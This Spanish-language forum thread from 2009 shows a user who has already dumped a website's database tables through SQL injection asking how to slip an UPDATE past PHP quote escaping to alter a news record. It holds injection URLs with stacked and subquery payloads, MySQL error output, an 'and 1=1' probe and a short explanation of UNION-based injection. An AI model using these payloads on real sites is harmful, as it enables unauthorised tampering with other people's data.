Inyeccion SQL (mysql) UPDATE dentro de un SELECT

Iniciado por odeONeSs, 16 Enero 2009, 00:34 AM

0 Miembros y 1 Visitante están viendo este tema.

odeONeSs

Os cuento mas o menos, he conseguido sacar todas las tablas, pero al intentar hacer un update me salta un filtro por la comilla, ya que al poner comilla simple el codigo php lo remplaza por '\\\'.


Código (html4strict) [Seleccionar]
http://www.web.com/noticia.php?id=-1'; UPDATE Basededatos.noticias+SET+breve+=+0x4572726f72+WHERE+id+=+8+;/*

El error que devuelve es este:

Código (apache) [Seleccionar]
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'\\\';UPDATE web.noticias SET breve = 0x4572726f72 WHERE id = 8 ;/*' at line 1


Alguna vez os habeis encontrado con esto? alguna idea?

Gracias de antemano!
Cambio de firma de prueba

Darioxhcx

con information_schema trataste ?
o no existe ?? emmmmm

WHK

intenta sacarlo sin comillas para ver si realmente es necesario;
http://www.web.com/noticia.php?id=1 and 1=1
Si no te funciona y obligadamente necesitas escapar con esa comilla no puedes hacer nada por los slashses que agrega el php.

odeONeSs

#3
Cita de: Darioxhcx en 16 Enero 2009, 08:01 AM
con information_schema trataste ?
o no existe ?? emmmmm

Si si, tengo la tabla donde quiero hacer el UPDATE, las columnas y he hecho pruebas haciendo consultas, vamos que si que existe.

Leyendo por ahi... he intentado aplicar esto... pero na da..

Por cierto WHK http://www.web.com/noticia.php?id=1 and 1=1 Esto no me tira error, debe ser que los slashses estan puestos para evitar los strings.

Código (html4strict) [Seleccionar]
http://www.web.com/noticia.php?id=-1+and+(UPDATE+Basededatos.noticias+SET+breve+=+0x4572726f72+WHERE+id+=+8+)=1/*

Código (apache) [Seleccionar]
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'UPDATE Basededatos.noticias SET breve = 0x4572726f72 WHERE id = 8 )=1/*' at line 1


Alguna idea???

Muchas gracias!!
Cambio de firma de prueba

pepeluxx

Cita de: odeONeSs en 16 Enero 2009, 13:44 PM
Código (html4strict) [Seleccionar]
http://www.web.com/noticia.php?id=-1+and+(UPDATE+Basededatos.noticias+SET+breve+=+0x4572726f72+WHERE+id+=+8+)=1/*


No puedes meter un update dentro de un select  :rolleyes:

Krackwar ™

hay no veo ningun select  :P
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq

Azielito

jahahahahah!!!!

y entonces como hacen para obtener los registros de la base de datos?

el SELECT va implicito :D al hacer una consulta a tu base de datos

Krackwar ™

No te rias toy enfermo a si que no tengo todas mis neuronas funcionando  :¬¬ .

Si , cierto que el select esta en el noticia.php.
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq

Azielito

#8
perdon, es que me hizo gracia :xD

no es personal pues, disculpa...

Te explico

cuando haces una web que toma datos de una base de datos, para recuperar haces algo parecido a esto
Código (sql) [Seleccionar]

SELECT * FROM `noticias` WHERE id=$_GET['id']


Siempre haces eso (es un ejemplo xD) cuando haces un sistema de noticias, pero siempre tienes un "select" lo que hacemos a la hora de una SQLinjection es modificar ese "SELECT"

quedando algo así

Código (sql) [Seleccionar]

SELECT * FROM `noticias` WHERE id=-1 AND UNION SELEC 0,1,2.....
                                  ^aqui nuestro code


o sea que, el "SELECT" va implicito :o

Krackwar ™

Cita de: Azielito en 17 Febrero 2009, 17:42 PM
perdon, es que me hizo gracia :xD

no es personal pues, disculpa...

No importa  ;D

CitarTe explico

cuando haces una web que toma datos de una base de datos, para recuperar haces algo parecido a esto
Código (sql) [Seleccionar]

SELECT * FROM `noticias` WHERE id=$_GET['id']


Siempre haces eso (es un ejemplo xD) cuando haces un sistema de noticias, pero siempre tienes un "select" lo que hacemos a la hora de una SQLinjection es modificar ese "SELECT"

quedando algo así

Código (sql) [Seleccionar]

SELECT * FROM `noticias` WHERE id=-1 AND UNION SELEC 0,1,2.....
                                  ^aqui nuestro code


o sea que, el "SELECT" va implicito :o

Si me lo explicabas a mi , ya lo se  :xD si se hacer consultas desde PHP  ;) , aunque nunca esta de mas una explicacion para los que no entienden  ;)
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq